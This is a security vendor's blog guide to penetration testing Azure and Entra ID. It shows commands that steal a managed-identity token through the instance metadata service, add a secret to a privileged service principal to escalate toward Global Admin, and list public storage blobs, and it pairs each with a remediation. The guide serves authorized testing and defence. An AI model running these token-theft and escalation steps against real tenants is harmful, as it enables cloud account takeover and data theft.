Strobesstrobes
Platform
Solutions
Resources
Customers
Company
Pricing
Book a Demo
Strobesstrobes

Strobes connects every exposure signal to autonomous action, so security teams fix what matters, prove what works, and stop chasing noise.

Book a DemoTalk to an expert
ISO 27001SOC 2CREST
  • Platform
  • Platform Overview
  • Agentic Exposure Management
  • AI Agents
  • Integrations
  • API & Developers
  • Workflows & Automation
  • Analytics & Reporting
  • Solutions
  • Exposure Assessment (EAP)
  • Attack Surface Management
  • Application Security Posture
  • Risk-Based Vulnerability Management
  • Adversarial Exposure Validation (AEV)
  • AI Pentesting
  • Pentesting as a Service
  • CTEM Framework
  • By Industry
  • Financial Institutions
  • Technology
  • Retail
  • Healthcare
  • Manufacturing
  • By Roles
  • CISOs
  • Security Directors
  • Cloud Security Leaders
  • App Sec Leaders
  • Resources
  • Quick Agentic Pentest
  • Blog
  • Customer Stories
  • eBooks
  • Datasheets
  • Videos & Demos
  • Exposure Management Academy
  • CTEM Maturity Assessment
  • Pentest Health Check
  • Security Tool ROI Calculator
  • Company
  • About Strobes
  • Meet the Team
  • Trust & Security
  • Contact Us
  • Careers
  • Become a Partner
  • Technology Partner
  • Partner Deal Registration
  • Press Release

Weekly insight for security leaders

CTEM research, agentic AI trends, and what's actually moving the needle.

© 2026 Strobes Security Inc. All rights reserved.

Privacy PolicyTerms of ServiceCookie PolicyAccessibilitySitemap
Back to Blog
Azure Penetration Testing Guide
Cloud pentestingCloud Security

Azure Penetration Testing Guide

Akhil ReniJuly 9, 20257 min read

Table of Contents

  • What are Microsoft's rules for Azure penetration testing?
  • Why is Entra ID the main target in Azure?
  • How do you turn an IMDS SSRF into a managed-identity token?
  • Service-principal credential abuse is the path to Global Admin
  • Leaked SAS tokens and account keys are a quiet data breach
  • What does a real Azure engagement turn up, and how do you fix it?
  • Frequently asked questions
  • Sources and references

Authors

A
Akhil Reni

Share

Table of Contents

  • What are Microsoft's rules for Azure penetration testing?
  • Why is Entra ID the main target in Azure?
  • How do you turn an IMDS SSRF into a managed-identity token?
  • Service-principal credential abuse is the path to Global Admin
  • Leaked SAS tokens and account keys are a quiet data breach
  • What does a real Azure engagement turn up, and how do you fix it?
  • Frequently asked questions
  • Sources and references

Authors

A
Akhil Reni

Share

TL;DR
  • ✓Microsoft requires no pre-approval to test your own Azure resources, but you must follow the Microsoft Cloud Unified Penetration Testing Rules of Engagement, which still prohibit DoS and testing of shared infrastructure.
  • ✓Entra ID (formerly Azure AD) is the identity plane and the primary target: over-privileged service principals, broad Microsoft Graph application permissions, and illicit consent grants are the high-value findings.
  • ✓Managed identities are reachable through SSRF to the Azure IMDS endpoint at 169.254.169.254, where a resource parameter and the Metadata: true header yield a bearer token whose power equals the identity's Azure RBAC roles.
  • ✓Application Administrator can append a credential to a more privileged service principal and inherit every Graph permission it holds, a clean path from mid-tier role to Global Admin.
  • ✓ROADtools and AzureHound map Entra ID, Stormspotter graphs the subscription, and ScoutSuite and Prowler cover posture.

In Azure, the firewall is almost beside the point. The attack surface is identity: Microsoft's own incident reports and the Storm-0558 and Midnight Blizzard intrusions both turned on stolen or over-permissioned application identities, not network exploits. So an Azure engagement that spends its time port-scanning VMs is testing the wrong thing. The richest target is Entra ID, the service Microsoft renamed from Azure AD, where one over-privileged service principal or a single managed-identity token can unravel a whole tenant.

This guide is organized the way a real Azure assessment runs: confirm the rules, establish who you are, then work the identity graph from a stolen token outward to tenant takeover. You will see the actual IMDS token response, an Entra escalation through service-principal credentials, a storage SAS leak, a sample findings table, and the RBAC and Conditional Access configuration that closes each path. Written authorization from the subscription owner is assumed.

Table of contents
  1. What are Microsoft's rules for Azure penetration testing?
  2. Why is Entra ID the main target in Azure?
  3. How do you turn an IMDS SSRF into a managed-identity token?
  4. Service-principal credential abuse is the path to Global Admin
  5. Leaked SAS tokens and account keys are a quiet data breach
  6. What does a real Azure engagement turn up, and how do you fix it?

What are Microsoft's rules for Azure penetration testing?

Microsoft requires no advance notice to test resources in your own Azure subscription, but you must operate under the Microsoft Cloud Unified Penetration Testing Rules of Engagement. You test what you own: your VMs, App Services, Functions, storage accounts, and your Entra ID tenant configuration. You do not touch Microsoft's shared infrastructure or any other customer's data.

Prohibited activity mirrors the other providers. No denial-of-service or DDoS testing, no automated traffic heavy enough to degrade shared services, no phishing of Microsoft employees, and no attempt to reach another tenant. The rules of engagement spell out the boundaries; read them before you scope, and cite the document in your engagement letter. Confirm the identity and subscription you are working in before anything else, because in Azure your blast radius is whatever this principal's roles allow:

$ az account show --query '{sub:id, tenant:tenantId, user:user.name}'
{
  "sub": "d4e5f6a7-1111-2222-3333-abcdef012345",
  "tenant": "9f8e7d6c-aaaa-bbbb-cccc-1234567890ab",
  "user": "svc-deploy@contoso.onmicrosoft.com"        <- a service account, worth mapping its roles next
}

Because the shared-responsibility split moves the focus from network to identity, an Azure test is closer in spirit to defending against Active Directory attacks than to a classic external perimeter test.

Azure Testing: In Scope vs Out of Scope
In scope (no pre-approval)Out of scope / prohibited
Your VMs, App Services, FunctionsMicrosoft shared infrastructure
Your Entra ID tenant configurationDoS / DDoS or traffic-flooding tests
Your storage accounts and SAS configPhishing Microsoft staff or other tenants
Azure RBAC and service-principal reviewAccessing data outside your subscription
App-layer attacks on your own appsPentesting Microsoft-operated services

Why is Entra ID the main target in Azure?

Entra ID is the identity and access plane for both Azure and Microsoft 365, so compromising it compromises everything bound to it. After initial access, enumerate users, groups, directory roles, and especially service principals and app registrations. The high-value findings are over-privileged service principals with non-expiring credentials, applications granted broad Microsoft Graph application permissions like RoleManagement.ReadWrite.Directory, and illicit consent grants. Pull the directory fast and read the output for the dangerous bindings:

$ az role assignment list --all --query "[?roleDefinitionName=='Owner'].principalName" -o tsv
svc-deploy@contoso.onmicrosoft.com
backup-automation-sp                                  <- a service principal with Owner: a privesc target

$ az ad app permission list-grants --query "[].{client:clientId, scope:scope}" -o table
Client                                Scope
------------------------------------  -------------------------------------
7c2d...e91                            RoleManagement.ReadWrite.Directory     <- can promote anyone to Global Admin

Watch for dangerous directory roles too: Global Administrator, Privileged Role Administrator, and Application Administrator (which can add credentials to existing service principals and inherit their permissions). Conditional Access gaps, legacy authentication still enabled, and users without MFA all widen the surface. Map the whole graph with AzureHound or ROADtools before you act, so you can see the shortest path to Global Admin rather than guessing at it.

How do you turn an IMDS SSRF into a managed-identity token?

Managed identities let an Azure resource authenticate with no stored secret, and you reach their tokens through the Azure Instance Metadata Service. From a compromised VM or an application SSRF, request the token endpoint with the mandatory Metadata: true header and a resource you want a token for:

$ curl -s -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
{
  "access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOi...",
  "expires_in": "3599",
  "resource": "https://management.azure.com/",
  "token_type": "Bearer"                              <- a live ARM bearer token for the VM's managed identity
}

Replay that token straight against Azure Resource Manager. What comes back tells you the blast radius in one call:

$ curl -s -H "Authorization: Bearer $TOKEN" \
  "https://management.azure.com/subscriptions?api-version=2020-01-01" | jq '.value[].displayName'
"contoso-production"                                   <- the identity can enumerate the whole subscription

The Metadata: true header is a partial defense, since SSRF primitives that cannot set custom headers fail. But plenty of application SSRF bugs can set headers, so do not assume safety. The token is only as dangerous as the RBAC roles behind it, which is why right-sizing those roles matters as much as fixing the SSRF. This pivot parallels the AWS metadata attack in our AWS penetration testing guide.

Strobes insight
On Azure, the token you steal is only as dangerous as the RBAC roles behind it. An IMDS SSRF that yields a Contributor-scoped managed identity is critical; one tied to a read-only role is a footnote. Always map the role before you rate the bug.

Service-principal credential abuse is the path to Global Admin

The signature Entra ID escalation is Application Administrator (or any principal with microsoft.directory/applications/credentials/update) appending its own secret to a more privileged service principal. You cannot read an app's existing secret, but you can add a new one, authenticate as that app, and inherit every Graph permission it holds. Find a target app with strong app-role grants, mint a credential, and log in as it:

$ az ad app credential reset --id 7c2d...e91 --append --display-name pt --years 1
{
  "appId": "7c2d...e91",
  "password": "Q~8xMpL...newsecret",                   <- a fresh secret we now control
  "tenant": "9f8e7d6c-aaaa-bbbb-cccc-1234567890ab"
}
$ az login --service-principal -u 7c2d...e91 -p 'Q~8xMpL...newsecret' --tenant 9f8e7d...
# Now authenticated as an app holding RoleManagement.ReadWrite.Directory

With RoleManagement.ReadWrite.Directory you can promote any account to Global Administrator through Graph. That is how a mid-tier admin role chains to full tenant control without ever cracking a password. Defenders close it by removing standing Application Administrator assignments, gating privileged roles behind Privileged Identity Management (just-in-time, approval-required), and alerting on the Add service principal credentials event in the Entra audit log.

Why identity dominates Azure findings
Entra ID
primary attack target in cloud-identity intrusions
3,599s
default managed-identity token lifetime once stolen
0
secrets needed to abuse a managed identity
1 secret
added to a privileged SP can reach Global Admin

Leaked SAS tokens and account keys are a quiet data breach

Azure Storage exposure usually comes from leaked SAS tokens, leaked account keys, or anonymous public blob access, and it leaks quietly because none of it trips an authentication log. A Shared Access Signature is a signed URL granting scoped access to blobs, files, queues, or tables. When SAS URLs leak into source code, CI logs, mobile apps, or browser history, anyone holding them gets whatever the signature permits until it expires, and account-level SAS is hard to revoke without rotating the key. Probe a found account both anonymously and with login, and read what comes back:

$ curl -s "https://contosodata.blob.core.windows.net/backups?restype=container&comp=list"
<EnumerationResults><Blobs>
  <Blob><Name>db-export-2026-05.bak</Name></Blob>        <- anonymous list = public container
  <Blob><Name>tenant-secrets.json</Name></Blob>
</Blobs></EnumerationResults>

Check for anonymous blob access enabled, long SAS expiry windows, account keys hardcoded in app settings, and containers set to public read. Account keys are especially dangerous because they grant full control of the account and rotating them breaks every consumer, so teams avoid rotation entirely. Confirm whether you can read or write, then rate the finding by what the container actually holds.

What does a real Azure engagement turn up, and how do you fix it?

On a recent assessment of a SaaS provider's Azure tenant, the bug I opened with was an unremarkable SSRF in a PDF-render service. The finding that mattered was the Contributor-scoped managed identity behind it: that token let me read every storage key in the resource group, and one of those storage accounts held a deployment script with a service-principal secret that carried Graph write. A medium SSRF became tenant compromise because nobody had right-sized the identity. The findings table below is that report excerpt.

Every fix is configuration. Enforce MFA and Conditional Access on all accounts and block legacy auth. Gate privileged directory roles behind PIM so Application Administrator is not standing. Right-size each managed identity to the narrowest RBAC role that works, and disable anonymous blob access at the account level. An Azure Policy that denies public blob access tenant-wide is the durable version of that last control:

{
  "if": {"field": "Microsoft.Storage/storageAccounts/allowBlobPublicAccess",
         "equals": "true"},
  "then": {"effect": "deny"}
}

For tooling, split it into identity mapping (ROADtools roadrecon gather, AzureHound feeding BloodHound), subscription graphing (Stormspotter), and posture (ScoutSuite scout azure --cli, Prowler, MicroBurst for storage and credential hunting). Posture scanners flag a public container but miss that an Application Administrator can self-issue credentials to a privileged app, and they never replay your real SSRF against IMDS. Running offense continuously instead of annually is the case for agentic, continuous pentesting, and you should fold results into a cloud security posture checklist.

Sample Findings (Report Excerpt)
FindingSeverity (CVSS)EvidenceRemediation
SSRF in render service reaches IMDSHigh (8.2)Metadata: true request returned an ARM bearer tokenValidate egress; restrict outbound to known hosts
Managed identity scoped ContributorCritical (9.0)Token listed and read every storage key in the RGReduce to least-privilege RBAC role
SP secret in deployment scriptCritical (9.1)Storage blob held an SP secret with Graph writeMove secrets to Key Vault; rotate the secret
Application Administrator standingHigh (7.7)Could append credential to privileged SPGate role behind PIM, just-in-time only
Anonymous blob access enabledMedium (6.5)Public container list returned db-export-2026-05.bakDeny allowBlobPublicAccess via Azure Policy

Frequently asked questions

Do you need Microsoft's approval to pentest Azure?
No advance notification is required to test resources you own in your own Azure subscription, but you must follow the Microsoft Cloud Unified Penetration Testing Rules of Engagement. Those rules still prohibit denial-of-service testing, testing Microsoft's shared infrastructure, phishing Microsoft staff, and any activity that touches another tenant's data.
What is the difference between Azure AD and Entra ID for pentesting?
They are the same service. Microsoft renamed Azure Active Directory to Microsoft Entra ID in 2023. Tools, attack paths, and findings are unchanged: it is still the identity plane controlling access to Azure and Microsoft 365, and it remains the primary target in an Azure engagement.
How do managed identities get attacked in Azure?
Managed identities are abused through SSRF or local access to the Azure IMDS endpoint at 169.254.169.254, where a request with the Metadata: true header and a resource parameter returns a bearer token. The attacker replays that token against Azure Resource Manager or Microsoft Graph, limited only by the identity's RBAC roles, which is why right-sizing those roles is the real fix.
Why are Azure Storage SAS tokens a security risk?
A Shared Access Signature is a signed URL granting scoped access to storage. When SAS tokens leak into code, logs, or URLs, anyone holding them gets that access until expiry, and account-level SAS is hard to revoke without rotating the account key. Long expiry windows and anonymous blob access make the exposure worse, so keep SAS short-lived and use user-delegation SAS where possible.
Which tools are used for Azure penetration testing, and which first?
Start with ROADtools (roadrecon gather) and AzureHound to map Entra ID and feed BloodHound for attack-path analysis, then Stormspotter to graph subscription resources. ScoutSuite and Prowler cover misconfiguration posture, and MicroBurst helps with storage and credential hunting in PowerShell environments. Map the identity graph before exploiting, so you target the shortest path to Global Admin.
What is the most common critical finding in Azure?
Over-privileged service principals and app registrations are the most common path to tenant takeover, especially those with broad Microsoft Graph application permissions like RoleManagement.ReadWrite.Directory or non-expiring credentials. Combined with weak Conditional Access or missing MFA, they let an attacker escalate from limited access to Global Administrator without ever needing a user password.

Sources and references

  • Microsoft Cloud Penetration Testing Rules of Engagement
  • Azure Instance Metadata Service
  • ROADtools
  • AzureHound / BloodHound
  • Stormspotter
A
Akhil Reni
Co-founder and CTO, Strobes
Akhil Reni is co-founder and CTO of Strobes, building AI-driven penetration testing and exposure management for security teams.
Tags
Cloud PentestingAzureCloud Security

Stop chasing vulnerabilities Start reducing exposure

See how Strobes AI agents validate and fix your most critical exposures automatically.

Book a Demo
Continue Reading

Related Posts

Pentesting microservices architecture beyond the API gateway with East-West traffic testing
Penetration TestingApplication Security

Pentesting Microservices Architecture: Why Traditional Methods Fall Short

Why traditional pentesting misses 90% of microservices attack surface. Learn how to test East-West traffic, service mesh, and Kubernetes security at scale.

Jun 4, 202620 min
Beyond the Basics Developing a Risk Driven AI Driven Cloud Native Security Strategy.
Cloud Security

Beyond the Basics Developing a Risk Driven AI Driven Cloud Native Security Strategy.

The use of clouds has taken a significant step forward beyond workloads and virtual machines. Containers, Kubernetes, microservices, APIs, and serverless functions can be relied upon by modern enterprises to provide a cloud-native architecture. Such environments not only speed up the delivery of sof

Oct 22, 202512 min
Beyond the Basics Developing a Risk Driven AI Driven Cloud Native Security Strategy
Cloud Security

Beyond the Basics Developing a Risk Driven AI Driven Cloud Native Security Strategy

Cloud-native architectures bring speed and scalability but also create new risks beyond traditional workloads. Misconfigured APIs, vulnerable containers, and over-permissive access expose enterprises to advanced threats. This blog explains why legacy security tools fall short, how AI-driven strategi

Sep 30, 202512 min